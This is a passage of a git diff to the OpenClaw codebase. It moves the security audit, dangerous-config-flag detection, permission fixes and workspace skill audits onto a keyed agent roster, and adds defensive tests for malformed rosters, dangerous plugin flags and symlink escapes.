expectedCount }) => { + const { stateDir, workspaceDir } = makeAuditPaths("malformed-roster"); + + const report = await runSecurityAudit({ + config: { agents: { entries } } as never, + stateDir, + configPath: path.join(stateDir, "openclaw.json"), + workspaceDir, + env: {}, + includeFilesystem: true, + includeChannelSecurity: false, + }); + + expect(report.findings).toContainEqual( + expect.objectContaining({ + checkId: "config.agent_roster.invalid_default_count", + detail: expect.stringContaining(`found ${expectedCount}`), + }), + ); + }, + ); +}); diff --git a/src/security/audit.ts b/src/security/audit.ts index 8453bc329915..530d640f9bee 100644 --- a/src/security/audit.ts +++ b/src/security/audit.ts @@ -3,9 +3,11 @@ import path from "node:path"; import { asNullableRecord } from "@openclaw/normalization-core/record-coerce"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; import { normalizeStringEntries } from "@openclaw/normalization-core/string-normalization"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { hasAgentRosterProperty, listAgentEntries } from "../agents/agent-scope-config.js"; +import { resolveAgentWorkspaceDir, tryResolveDefaultAgentId } from "../agents/agent-scope.js"; import { resolveExecDefaults } from "../agents/exec-defaults.js"; import { resolveSandboxConfigForAgent } from "../agents/sandbox/config.js"; +import { resolveDefaultAgentWorkspaceDir } from "../agents/workspace-default.js"; import type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; import type { ConfigFileSnapshot, OpenClawConfig } from "../config/config.js"; import { resolveConfigPath, resolveStateDir } from "../config/paths.js"; @@ -31,9 +33,9 @@ import { resolveMergedSafeBinProfileFixtures, } from "../infra/exec-safe-bin-runtime-policy.js"; import { listRiskyConfiguredSafeBins } from "../infra/exec-safe-bin-semantics.js"; -import { DEFAULT_AGENT_ID } from "../routing/session-key.js"; import { createLazyRuntimeModule } from "../shared/lazy-runtime.js"; import { readControlUiDeviceAuthMigrationState } from "../state/control-ui-device-auth-migration.js"; +import { resolveUserPath } from "../utils.js"; import { collectDeepCodeSafetyFindings } from "./audit-deep-code-safety.js"; import { collectDeepProbeFindings } from "./audit-deep-probe-findings.js"; import { @@ -75,6 +77,9 @@ type AgentSkillMcpBoundaryScope = { execSecurity: string; execAsk: string; }; +type AgentSkillMcpBoundaryCandidate = + | { kind: "defaults"; id: "agents.defaults"; skillSource: string } + | { kind: "agent"; id: string; skillSource: string; agentId: string }; export type { SecurityAuditReport } from "./audit.types.js"; @@ -643,7 +648,8 @@ function collectExecRuntimeFindings(cfg: OpenClawConfig): SecurityAuditFinding[] }); } - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; + const agents = listAgentEntries(cfg); + const defaultAgentId = tryResolveDefaultAgentId(cfg); const riskyAgents = agents .filter( (entry) => @@ -673,7 +679,7 @@ function collectExecRuntimeFindings(cfg: OpenClawConfig): SecurityAuditFinding[] new Map( [ { - id: DEFAULT_AGENT_ID, + id: defaultAgentId ?? "global", security: resolveExecModePolicy({ mode: cfg.tools?.exec?.mode, security: cfg.tools?.exec?.security ?? "deny", @@ -768,11 +774,11 @@ function collectExecRuntimeFindings(cfg: OpenClawConfig): SecurityAuditFinding[] const interpreterAllowlistHits = collectInterpreterAllowlistHits({ approvals, strictInlineEvalForAgentId: (agentId) => { - if (!agentId || agentId === "*" || agentId === DEFAULT_AGENT_ID) { + if (!agentId || agentId === "*") { return globalStrictInlineEval; } const agent = agents.find((entry) => entry?.id === agentId); - return agent?.tools?.exec?.strictInlineEval === true || globalStrictInlineEval; + return agent?.tools?.exec?.strictInlineEval ?? globalStrictInlineEval; }, }); if (interpreterAllowlistHits.length > 0) { @@ -939,6 +945,28 @@ function collectExecRuntimeFindings(cfg: OpenClawConfig): SecurityAuditFinding[] return findings; } +function collectAgentRosterFindings(cfg: OpenClawConfig): SecurityAuditFinding[] { + const agents = listAgentEntries(cfg); + // A missing roster is the supported pre-roster compatibility state and is + // materialized by config loading. An explicitly authored empty roster is invalid. + if (agents.length === 0 && !hasAgentRosterProperty(cfg)) { + return []; + } + const defaultCount = agents.filter((agent) => agent?.default === true).length; + if (defaultCount === 1) { + return []; + } + return [ + { + checkId: "config.agent_roster.invalid_default_count", + severity: "warn", + title: "Agent roster has an invalid default selection", + detail: `Expected exactly one agents.entries default=true entry, found ${defaultCount}.`, + remediation: "Run `openclaw doctor --fix` to repair the authored agent roster.", + }, + ]; +} + function formatNamesPreview(names: readonly string[]): string { const visible = names.slice(0, 6); const suffix = names.length > visible.length ? `, +${names.length - visible.length} more` : ""; @@ -1002,15 +1030,15 @@ function hasOwnSkillsAllowlist(entry: object | undefined): boolean { } function collectAgentSkillMcpBoundaryScopes(cfg: OpenClawConfig): AgentSkillMcpBoundaryScope[] { - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; + const agents = listAgentEntries(cfg); const defaultsHaveSkillAllowlist = hasOwnSkillsAllowlist(cfg.agents?.defaults); - const candidates = [ + const candidates: AgentSkillMcpBoundaryCandidate[] = [ ...(defaultsHaveSkillAllowlist ? [ { - id: DEFAULT_AGENT_ID, + kind: "defaults" as const, + id: "agents.defaults" as const, skillSource: "agents.defaults.skills", - agentId: undefined, }, ] : []), @@ -1021,11 +1049,19 @@ function collectAgentSkillMcpBoundaryScopes(cfg: OpenClawConfig): AgentSkillMcpB ) .flatMap((entry) => { if (hasOwnSkillsAllowlist(entry)) { - return [{ id: entry.id, skillSource: "agents.list[].skills", agentId: entry.id }]; + return [ + { + kind: "agent" as const, + id: entry.id, + skillSource: "agents.entries.*.skills", + agentId: entry.id, + }, + ]; } if (defaultsHaveSkillAllowlist) { return [ { + kind: "agent" as const, id: entry.id, skillSource: "agents.defaults.skills (inherited)", agentId: entry.id, @@ -1037,10 +1073,11 @@ function collectAgentSkillMcpBoundaryScopes(cfg: OpenClawConfig): AgentSkillMcpB ]; return candidates.flatMap((candidate) => { - const sandboxMode = resolveSandboxConfigForAgent(cfg, candidate.agentId).mode; + const agentId = candidate.kind === "agent" ? candidate.agentId : undefined; + const sandboxMode = resolveSandboxConfigForAgent(cfg, agentId).mode; const exec = resolveExecDefaults({ cfg, - agentId: candidate.agentId, + ...(candidate.kind === "defaults" ? { scope: { kind: "defaults" as const } } : { agentId }), sandboxAvailable: sandboxMode !== "off", }); if (exec.security === "deny" || exec.effectiveHost === "sandbox") { @@ -1252,8 +1289,15 @@ async function createAuditExecutionContext( const deepTimeoutMs = Math.max(250, opts.deepTimeoutMs ?? 5000); const stateDir = opts.stateDir ?? resolveStateDir(env); const configPath = opts.configPath ?? resolveConfigPath(env, stateDir); + const defaultAgentId = tryResolveDefaultAgentId(cfg); + const configuredDefaultWorkspace = cfg.agents?.defaults?.workspace?.trim(); const workspaceDir = - opts.workspaceDir ?? resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg)); + opts.workspaceDir ?? + (defaultAgentId + ? resolveAgentWorkspaceDir(cfg, defaultAgentId) + : configuredDefaultWorkspace + ? resolveUserPath(configuredDefaultWorkspace, env) + : resolveDefaultAgentWorkspaceDir(env)); const { readConfigSnapshotForAudit } = await loadAuditNonDeepModule(); const configSnapshot = includeFilesystem ? opts.configSnapshot !== undefined @@ -1291,6 +1335,7 @@ export async function runSecurityAudit(opts: SecurityAuditOptions): Promise 0 - ? (agent as { id: string }).id - : undefined; - return id ? `agents.list[id=${JSON.stringify(id)}]` : `agents.list[${index}]`; +function getAgentDangerousFlagPathSegment( + source: ReturnType[number]["source"], +): string { + return source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list.${source.index}`; } function collectExactPluginConfigContractMatches({ @@ -103,13 +98,11 @@ export function collectEnabledInsecureOrDangerousFlagsFromContracts( : undefined, "agents.defaults.sandbox.docker", ); - if (Array.isArray(cfg.agents?.list)) { - for (const [index, agent] of cfg.agents.list.entries()) { - collectSandboxDockerDangerousFlags( - isRecord(agent?.sandbox?.docker) ? agent.sandbox.docker : undefined, - `${getAgentDangerousFlagPathSegment(agent, index)}.sandbox.docker`, - ); - } + for (const { entry: agent, source } of listAgentEntriesWithSource(cfg)) { + collectSandboxDockerDangerousFlags( + isRecord(agent?.sandbox?.docker) ? agent.sandbox.docker : undefined, + `${getAgentDangerousFlagPathSegment(source)}.sandbox.docker`, + ); } const pluginEntries = cfg.plugins?.entries; diff --git a/src/security/dangerous-config-flags.test.ts b/src/security/dangerous-config-flags.test.ts index 3ccb499ebc95..4010ef4e9544 100644 --- a/src/security/dangerous-config-flags.test.ts +++ b/src/security/dangerous-config-flags.test.ts @@ -1,13 +1,131 @@ // Covers dangerous config flag detection and reporting. -import { describe, expect, it } from "vitest"; +import fs from "node:fs"; +import path from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js"; import type { OpenClawConfig } from "../config/config.js"; import { collectEnabledInsecureOrDangerousFlagsFromContracts } from "./dangerous-config-flags-core.js"; +import { collectEnabledInsecureOrDangerousFlags } from "./dangerous-config-flags.js"; function asConfig(value: unknown): OpenClawConfig { return value as OpenClawConfig; } describe("collectEnabledInsecureOrDangerousFlags", () => { + const tempDirs = useAutoCleanupTempDirTracker(afterEach); + + it("keeps plugin contract checks enabled for a malformed roster", () => { + const inheritedWorkspaceDir = tempDirs.make("openclaw-dangerous-inherited-workspace-"); + const explicitWorkspaceDir = tempDirs.make("openclaw-dangerous-explicit-workspace-"); + const pluginDir = path.join( + inheritedWorkspaceDir, + ".openclaw", + "extensions", + "workspace-danger", + ); + fs.mkdirSync(pluginDir, { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "index.js"), + "export default { id: 'workspace-danger' };\n", + ); + fs.writeFileSync( + path.join(pluginDir, "openclaw.plugin.json"), + JSON.stringify({ + id: "workspace-danger", + configSchema: { type: "object", additionalProperties: true }, + configContracts: { dangerousFlags: [{ path: "mode", equals: "danger" }] }, + }), + ); + const flags = collectEnabledInsecureOrDangerousFlags( + asConfig({ + agents: { + defaults: { workspace: inheritedWorkspaceDir }, + entries: { alpha: { workspace: explicitWorkspaceDir }, beta: {} }, + }, + plugins: { + entries: { + acpx: { config: { permissionMode: "approve-all" } }, + "workspace-danger": { config: { mode: "danger" } }, + }, + }, + }), + ); + + expect(flags).toContain("plugins.entries.acpx.config.permissionMode=approve-all"); + expect(flags).toContain("plugins.entries.workspace-danger.config.mode=danger"); + }); + + it("does not scan an unused defaults workspace when every malformed-roster entry is explicit", () => { + const defaultsWorkspaceDir = tempDirs.make("openclaw-dangerous-unused-defaults-"); + const alphaWorkspaceDir = tempDirs.make("openclaw-dangerous-alpha-"); + const betaWorkspaceDir = tempDirs.make("openclaw-dangerous-beta-"); + const pluginDir = path.join( + defaultsWorkspaceDir, + ".openclaw", + "extensions", + "workspace-danger", + ); + fs.mkdirSync(pluginDir, { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "index.js"), + "export default { id: 'workspace-danger' };\n", + ); + fs.writeFileSync( + path.join(pluginDir, "openclaw.plugin.json"), + JSON.stringify({ + id: "workspace-danger", + configSchema: { type: "object", additionalProperties: true }, + configContracts: { dangerousFlags: [{ path: "mode", equals: "danger" }] }, + }), + ); + + const flags = collectEnabledInsecureOrDangerousFlags( + asConfig({ + agents: { + defaults: { workspace: defaultsWorkspaceDir }, + entries: { + alpha: { workspace: alphaWorkspaceDir }, + beta: { workspace: betaWorkspaceDir }, + }, + }, + plugins: { + entries: { "workspace-danger": { config: { mode: "danger" } } }, + }, + }), + ); + + expect(flags).not.toContain("plugins.entries.workspace-danger.config.mode=danger"); + }); + + it("uses the implicit main workspace for a rosterless compatibility config", () => { + const workspaceDir = tempDirs.make("openclaw-dangerous-rosterless-"); + const pluginDir = path.join(workspaceDir, ".openclaw", "extensions", "workspace-danger"); + fs.mkdirSync(pluginDir, { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "index.js"), + "export default { id: 'workspace-danger' };\n", + ); + fs.writeFileSync( + path.join(pluginDir, "openclaw.plugin.json"), + JSON.stringify({ + id: "workspace-danger", + configSchema: { type: "object", additionalProperties: true }, + configContracts: { dangerousFlags: [{ path: "mode", equals: "danger" }] }, + }), + ); + + const flags = collectEnabledInsecureOrDangerousFlags( + asConfig({ + agents: { defaults: { workspace: workspaceDir } }, + plugins: { + entries: { "workspace-danger": { config: { mode: "danger" } } }, + }, + }), + ); + + expect(flags).toContain("plugins.entries.workspace-danger.config.mode=danger"); + }); + it("collects manifest-declared dangerous plugin config values", () => { expect( collectEnabledInsecureOrDangerousFlagsFromContracts( @@ -113,7 +231,7 @@ describe("collectEnabledInsecureOrDangerousFlags", () => { "tools.fs.workspaceOnly=false", "agents.defaults.sandbox.docker.dangerouslyAllowReservedContainerTargets=true", "agents.defaults.sandbox.docker.dangerouslyAllowContainerNamespaceJoin=true", - 'agents.list[id="worker"].sandbox.docker.dangerouslyAllowExternalBindSources=true', + "agents.list.0.sandbox.docker.dangerouslyAllowExternalBindSources=true", ]); }); @@ -131,7 +249,7 @@ describe("collectEnabledInsecureOrDangerousFlags", () => { ).toContain("security.audit.suppressions configured (1)"); }); - it("uses stable agent ids for per-agent dangerous sandbox flags", () => { + it("uses legacy list indices for list-shaped dangerous sandbox flags", () => { expect( collectEnabledInsecureOrDangerousFlagsFromContracts( asConfig({ @@ -152,9 +270,7 @@ describe("collectEnabledInsecureOrDangerousFlags", () => { }, }), ), - ).toContain( - 'agents.list[id="worker"].sandbox.docker.dangerouslyAllowContainerNamespaceJoin=true', - ); + ).toContain("agents.list.0.sandbox.docker.dangerouslyAllowContainerNamespaceJoin=true"); expect( collectEnabledInsecureOrDangerousFlagsFromContracts( @@ -176,8 +292,26 @@ describe("collectEnabledInsecureOrDangerousFlags", () => { }, }), ), - ).toContain( - 'agents.list[id="worker"].sandbox.docker.dangerouslyAllowContainerNamespaceJoin=true', - ); + ).toContain("agents.list.1.sandbox.docker.dangerouslyAllowContainerNamespaceJoin=true"); + }); + + it("uses keyed roster paths for entries-shaped dangerous sandbox flags", () => { + expect( + collectEnabledInsecureOrDangerousFlagsFromContracts( + asConfig({ + agents: { + entries: { + worker: { + sandbox: { + docker: { + dangerouslyAllowContainerNamespaceJoin: true, + }, + }, + }, + }, + }, + }), + ), + ).toContain("agents.entries.worker.sandbox.docker.dangerouslyAllowContainerNamespaceJoin=true"); }); }); diff --git a/src/security/dangerous-config-flags.ts b/src/security/dangerous-config-flags.ts index a6782661591b..797896f469fc 100644 --- a/src/security/dangerous-config-flags.ts +++ b/src/security/dangerous-config-flags.ts @@ -1,9 +1,15 @@ // Collects dangerous config flag findings across agents and runtime config. -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { + listAgentEntries, + resolveAgentConfig, + resolveAgentWorkspaceDir, + tryResolveDefaultAgentId, +} from "../agents/agent-scope.js"; +import { resolveDefaultAgentWorkspaceDir } from "../agents/workspace-default.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { collectPluginConfigContractMatches } from "../plugins/config-contract-matches.js"; import { resolvePluginConfigContractsById } from "../plugins/config-contracts.js"; -import { isRecord } from "../utils.js"; +import { isRecord, resolveUserPath } from "../utils.js"; import { collectEnabledInsecureOrDangerousFlagsFromContracts } from "./dangerous-config-flags-core.js"; import { collectEnabledInsecureOrDangerousFlagsFromCurrentSnapshot } from "./dangerous-config-flags-current.js"; @@ -28,14 +34,54 @@ export function collectEnabledInsecureOrDangerousFlags( } } - const configContracts = resolvePluginConfigContractsById({ - config: cfg, - workspaceDir: resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg)), - env: process.env, - pluginIds, - }); - return collectEnabledInsecureOrDangerousFlagsFromContracts(cfg, { - collectPluginConfigContractMatches, - configContractsById: configContracts, - }); + const defaultAgentId = tryResolveDefaultAgentId(cfg); + const workspaceDirs = new Set(); + if (defaultAgentId) { + workspaceDirs.add(resolveAgentWorkspaceDir(cfg, defaultAgentId)); + } else { + const roster = listAgentEntries(cfg); + if (roster.length === 0) { + const configuredWorkspace = cfg.agents?.defaults?.workspace?.trim(); + workspaceDirs.add( + configuredWorkspace + ? resolveUserPath(configuredWorkspace, process.env) + : resolveDefaultAgentWorkspaceDir(process.env), + ); + } else { + let hasInheritedWorkspace = false; + for (const entry of roster) { + const workspace = resolveAgentConfig(cfg, entry.id)?.workspace?.trim(); + if (workspace) { + workspaceDirs.add(resolveUserPath(workspace, process.env)); + } else { + hasInheritedWorkspace = true; + } + } + if (hasInheritedWorkspace) { + const inheritedWorkspace = cfg.agents?.defaults?.workspace?.trim(); + workspaceDirs.add( + inheritedWorkspace + ? resolveUserPath(inheritedWorkspace, process.env) + : resolveDefaultAgentWorkspaceDir(process.env), + ); + } + } + } + + const flags = new Set(); + for (const workspaceDir of workspaceDirs) { + const configContracts = resolvePluginConfigContractsById({ + config: cfg, + ...(workspaceDir ? { workspaceDir } : {}), + env: process.env, + pluginIds, + }); + for (const flag of collectEnabledInsecureOrDangerousFlagsFromContracts(cfg, { + collectPluginConfigContractMatches, + configContractsById: configContracts, + })) { + flags.add(flag); + } + } + return [...flags]; } diff --git a/src/security/exec-filesystem-policy.ts b/src/security/exec-filesystem-policy.ts index 3cb344b749a2..7656aa5e212d 100644 --- a/src/security/exec-filesystem-policy.ts +++ b/src/security/exec-filesystem-policy.ts @@ -1,3 +1,4 @@ +import { listAgentEntries } from "../agents/agent-scope-config.js"; // Resolves filesystem policy for exec and sandbox tool use. import { resolveConfiguredToolPolicies } from "../agents/agent-tools.policy.js"; import { resolveSandboxConfigForAgent } from "../agents/sandbox/config.js"; @@ -51,7 +52,7 @@ export function collectExecFilesystemPolicyDriftHits( tools?: AgentToolsConfig; }> = [{ scopeLabel: "tools" }]; - for (const agent of cfg.agents?.list ?? []) { + for (const agent of listAgentEntries(cfg)) { if (!agent || typeof agent !== "object" || typeof agent.id !== "string") { continue; } diff --git a/src/security/fix.test.ts b/src/security/fix.test.ts index ddacdad4f62d..e83fa95b5e55 100644 --- a/src/security/fix.test.ts +++ b/src/security/fix.test.ts @@ -344,6 +344,32 @@ describe("security fix", () => { ]); }); + it("tightens the live legacy main auth store for a named default roster", async () => { + const stateDir = await createStateDir("named-default-legacy-auth"); + const configPath = path.join(stateDir, "openclaw.json"); + await fs.writeFile( + configPath, + JSON.stringify({ agents: { entries: { ops: { default: true } } } }), + "utf-8", + ); + const legacyAuthPath = path.join(stateDir, "agents", "main", "agent", "auth-profiles.json"); + await fs.mkdir(path.dirname(legacyAuthPath), { recursive: true }); + await fs.writeFile(legacyAuthPath, "{}\n", "utf-8"); + await fs.chmod(legacyAuthPath, 0o644); + + const result = await fixSecurityFootguns({ + env: createFixEnv(stateDir, configPath), + stateDir, + configPath, + channelPlugins: [], + }); + + expect(result.actions).toContainEqual( + expect.objectContaining({ kind: "chmod", ok: true, path: legacyAuthPath, mode: 0o600 }), + ); + expectPerms((await fs.stat(legacyAuthPath)).mode & 0o777, 0o600); + }); + it.runIf(process.platform !== "win32")( "tightens only includes accepted by the config include resolver", async () => { diff --git a/src/security/fix.ts b/src/security/fix.ts index fb1ed649667b..b0f768401c6a 100644 --- a/src/security/fix.ts +++ b/src/security/fix.ts @@ -1,7 +1,7 @@ // Applies safe automatic fixes for supported security audit findings. import fs from "node:fs/promises"; import path from "node:path"; -import { resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { listAgentEntries, tryResolveDefaultAgentId } from "../agents/agent-scope.js"; import { resolveAuthProfileDatabaseFilePaths } from "../agents/auth-profiles/sqlite.js"; import type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; import { createConfigIO, replaceConfigFile } from "../config/config.js"; @@ -9,7 +9,7 @@ import { collectIncludePathsRecursive } from "../config/includes-scan.js"; import { resolveConfigPath, resolveOAuthDir, resolveStateDir } from "../config/paths.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { runExec } from "../process/exec.js"; -import { normalizeAgentId } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; import { createIcaclsResetCommand, formatIcaclsResetCommand, type ExecFn } from "./windows-acl.js"; type SecurityFixChmodAction = { @@ -337,9 +337,12 @@ async function collectSecurityPermissionTargets(params: { } const ids = new Set(); - ids.add(resolveDefaultAgentId(params.cfg)); - const list = Array.isArray(params.cfg.agents?.list) ? params.cfg.agents.list : []; - for (const agent of list ?? []) { + ids.add(LEGACY_IMPLICIT_AGENT_ID); + const defaultAgentId = tryResolveDefaultAgentId(params.cfg); + if (defaultAgentId) { + ids.add(defaultAgentId); + } + for (const agent of listAgentEntries(params.cfg)) { if (!agent || typeof agent !== "object") { continue; } diff --git a/src/skills/discovery/agent-filter.ts b/src/skills/discovery/agent-filter.ts index d98135595332..757f9469f540 100644 --- a/src/skills/discovery/agent-filter.ts +++ b/src/skills/discovery/agent-filter.ts @@ -1,23 +1,12 @@ +import { resolveAgentEntry } from "../../agents/agent-scope-config.js"; // Agent skill filter helpers select skills that apply to a configured agent. import type { OpenClawConfig } from "../../config/types.js"; -import { normalizeAgentId } from "../../routing/session-key.js"; import { normalizeSkillFilter } from "./filter.js"; type AgentSkillsLimits = { maxSkillsPromptChars?: number; }; -function resolveAgentEntry( - cfg: OpenClawConfig | undefined, - agentId: string | undefined, -): NonNullable["list"]>[number] | undefined { - if (!cfg) { - return undefined; - } - const normalizedAgentId = normalizeAgentId(agentId); - return cfg.agents?.list?.find((entry) => normalizeAgentId(entry.id) === normalizedAgentId); -} - /** * Explicit per-agent skills win when present; otherwise fall back to shared defaults. * Unknown agent ids also fall back to defaults so legacy/unresolved callers do not widen access. @@ -29,7 +18,7 @@ export function resolveEffectiveAgentSkillFilter( if (!cfg) { return undefined; } - const agentEntry = resolveAgentEntry(cfg, agentId); + const agentEntry = agentId ? resolveAgentEntry(cfg, agentId) : undefined; if (agentEntry && Object.hasOwn(agentEntry, "skills")) { return normalizeSkillFilter(agentEntry.skills); } @@ -40,7 +29,7 @@ export function resolveEffectiveAgentSkillsLimits( cfg: OpenClawConfig | undefined, agentId: string | undefined, ): AgentSkillsLimits | undefined { - if (!agentId) { + if (!cfg || !agentId) { return undefined; } const agentEntry = resolveAgentEntry(cfg, agentId); diff --git a/src/skills/security/workspace-audit.test.ts b/src/skills/security/workspace-audit.test.ts index 1526831d3b26..c9fce20eb6c5 100644 --- a/src/skills/security/workspace-audit.test.ts +++ b/src/skills/security/workspace-audit.test.ts @@ -74,6 +74,43 @@ describe("security audit workspace skill path escape findings", () => { await Promise.all(runs); }); + it.runIf(!isWindows)( + "audits every explicit workspace when malformed defaults prevent default resolution", + async () => { + const tmp = await tempCases.makeTmpDir("workspace-skill-malformed-roster"); + const workspaceA = path.join(tmp, "workspace-a"); + const workspaceB = path.join(tmp, "workspace-b"); + const outsideA = path.join(tmp, "outside-a.md"); + const outsideB = path.join(tmp, "outside-b.md"); + await fs.writeFile(outsideA, "# outside a\n", "utf-8"); + await fs.writeFile(outsideB, "# outside b\n", "utf-8"); + for (const [workspaceDir, outsidePath] of [ + [workspaceA, outsideA], + [workspaceB, outsideB], + ] as const) { + const skillDir = path.join(workspaceDir, "skills", "leak"); + await fs.mkdir(skillDir, { recursive: true }); + await fs.symlink(outsidePath, path.join(skillDir, "SKILL.md")); + } + const cfg: OpenClawConfig = { + agents: { + entries: { + alpha: { default: true, workspace: workspaceA }, + beta: { default: true, workspace: workspaceB }, + }, + }, + }; + + const findings = await collectWorkspaceSkillSymlinkEscapeFindings({ cfg }); + const detail = findings + .filter((finding) => finding.checkId === "skills.workspace.symlink_escape") + .map((finding) => finding.detail) + .join("\n"); + expect(detail).toContain(outsideA); + expect(detail).toContain(outsideB); + }, + ); + it("treats an unresolvable realpath (timeout/error simulation) as a potential symlink escape", async () => { const tmp = await tempCases.makeTmpDir("workspace-skill-realpath-unresolvable"); const workspaceDir = path.join(tmp, "workspace"); diff --git a/src/skills/security/workspace-audit.ts b/src/skills/security/workspace-audit.ts index 63d217f414ba..49a6faca9443 100644 --- a/src/skills/security/workspace-audit.ts +++ b/src/skills/security/workspace-audit.ts @@ -1,7 +1,10 @@ // Workspace audit helpers inspect local skill folders for security and trust issues. import fs from "node:fs/promises"; import path from "node:path"; -import { listAgentWorkspaceDirs } from "../../agents/workspace-dirs.js"; +import { + listAgentWorkspaceDirs, + listExplicitAgentWorkspaceDirs, +} from "../../agents/workspace-dirs.js"; import type { OpenClawConfig } from "../../config/config.js"; import type { SecurityAuditFinding } from "../../security/audit.types.js"; import { isPathInside } from "../../security/scan-paths.js"; @@ -113,11 +116,23 @@ async function listWorkspaceSkillMarkdownFiles( export async function collectWorkspaceSkillSymlinkEscapeFindings(params: { cfg: OpenClawConfig; + workspaceDir?: string; skillScanLimits?: WorkspaceSkillScanLimits; }): Promise { const findings: SecurityAuditFinding[] = []; - const workspaceDirs = listAgentWorkspaceDirs(params.cfg); - if (workspaceDirs.length === 0) { + const workspaceDirs = new Set(params.workspaceDir ? [params.workspaceDir] : []); + try { + for (const workspaceDir of listAgentWorkspaceDirs(params.cfg)) { + workspaceDirs.add(workspaceDir); + } + } catch { + // Raw audit input can precede roster migration or be malformed. Keep the + // entry-authored workspaces scannable even when default resolution is unavailable. + for (const workspaceDir of listExplicitAgentWorkspaceDirs(params.cfg)) { + workspaceDirs.add(workspaceDir); + } + } + if (workspaceDirs.size === 0) { return findings; } diff --git a/src/skills/workshop/tool-policy-diagnostic.test.ts b/src/skills/workshop/tool-policy-diagnostic.test.ts index 41b2591b9121..2da2cd40697f 100644 --- a/src/skills/workshop/tool-policy-diagnostic.test.ts +++ b/src/skills/workshop/tool-policy-diagnostic.test.ts @@ -3,7 +3,15 @@ import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { detectSkillWorkshopToolPolicyDiagnostic } from "./tool-policy-diagnostic.js"; function detect(config: OpenClawConfig, workshopEnabled = true) { - return detectSkillWorkshopToolPolicyDiagnostic({ config, workshopEnabled }); + const agents = config.agents; + const hasRoster = Boolean(agents && ("entries" in agents || "list" in agents)); + return detectSkillWorkshopToolPolicyDiagnostic({ + config: { + ...config, + agents: hasRoster ? agents : { ...agents, entries: { main: { default: true } } }, + }, + workshopEnabled, + }); } describe("detectSkillWorkshopToolPolicyDiagnostic", () => { @@ -35,7 +43,7 @@ describe("detectSkillWorkshopToolPolicyDiagnostic", () => { it("names agent-scoped profile and allowlist sources", () => { expect( detect({ - agents: { list: [{ id: "main", tools: { profile: "messaging" } }] }, + agents: { list: [{ id: "main", default: true, tools: { profile: "messaging" } }] }, }), ).toMatchObject({ source: "agents.list[0].tools.profile", @@ -44,7 +52,7 @@ describe("detectSkillWorkshopToolPolicyDiagnostic", () => { expect( detect({ - agents: { list: [{ id: "main", tools: { allow: ["read"] } }] }, + agents: { list: [{ id: "main", default: true, tools: { allow: ["read"] } }] }, }), ).toMatchObject({ source: "agents.list[0].tools.allow", @@ -56,7 +64,7 @@ describe("detectSkillWorkshopToolPolicyDiagnostic", () => { expect( detect({ tools: { profile: "messaging" }, - agents: { list: [{ id: "main", tools: { alsoAllow: ["read"] } }] }, + agents: { list: [{ id: "main", default: true, tools: { alsoAllow: ["read"] } }] }, }), ).toMatchObject({ source: "tools.profile", @@ -84,6 +92,7 @@ describe("detectSkillWorkshopToolPolicyDiagnostic", () => { list: [ { id: "main", + default: true, tools: { byProvider: { openai: { alsoAllow: ["read"] } } }, }, ], @@ -104,6 +113,7 @@ describe("detectSkillWorkshopToolPolicyDiagnostic", () => { list: [ { id: "main", + default: true, tools: { byProvider: { openai: { allow: ["read"] } } }, }, ], diff --git a/src/skills/workshop/tool-policy-diagnostic.ts b/src/skills/workshop/tool-policy-diagnostic.ts index 886975ac5273..1db62fc87569 100644 --- a/src/skills/workshop/tool-policy-diagnostic.ts +++ b/src/skills/workshop/tool-policy-diagnostic.ts @@ -1,5 +1,5 @@ // Skill Workshop diagnostics explain which effective policy layer hides its agent tool. -import { resolveDefaultAgentId } from "../../agents/agent-scope.js"; +import { listAgentEntriesWithSource, resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { resolveConversationCapabilityProfile, type ResolvedConversationCapabilityProfile, @@ -30,13 +30,17 @@ type AgentToolsLocation = { }; function findAgentTools(config: OpenClawConfig, agentId: string): AgentToolsLocation | undefined { - const index = config.agents?.list?.findIndex( - (entry) => normalizeAgentId(entry.id) === normalizeAgentId(agentId), + const listed = listAgentEntriesWithSource(config).find( + ({ entry }) => normalizeAgentId(entry.id) === normalizeAgentId(agentId), ); - const tools = index !== undefined && index >= 0 ? config.agents?.list?.[index]?.tools : undefined; - return index !== undefined && index >= 0 && tools - ? { path: `agents.list[${index}].tools`, tools } - : undefined; + if (!listed?.entry.tools) { + return undefined; + } + const path = + listed.source.kind === "entries" + ? `agents.entries.${listed.source.key}.tools` + : `agents.list[${listed.source.index}].tools`; + return { path, tools: listed.entry.tools }; } function providerPolicyPath(params: { diff --git a/src/state/openclaw-agent-db-registry.ts b/src/state/openclaw-agent-db-registry.ts index 1b307e9ac2c7..27d81bff4fb9 100644 --- a/src/state/openclaw-agent-db-registry.ts +++ b/src/state/openclaw-agent-db-registry.ts @@ -1,4 +1,13 @@ -import { existsSync, lstatSync, statSync } from "node:fs"; +import { randomBytes } from "node:crypto"; +import { + existsSync, + lstatSync, + mkdirSync, + readlinkSync, + realpathSync, + rmdirSync, + statSync, +} from "node:fs"; import path from "node:path"; import { clearNodeSqliteKyselyCacheForDatabase, @@ -29,6 +38,523 @@ import { resolveOpenClawStateSqlitePath } from "./openclaw-state-db.paths.js"; type OpenClawAgentRegistryDatabase = Pick; +type AgentDatabasePathIdentity = { + lexicalPath: string; + realPath?: string; + device?: bigint | number; + inode?: bigint | number; + parentDevice?: bigint | number; + parentInode?: bigint | number; + parentRealPath?: string; + unresolvedSuffix?: string; +}; + +const 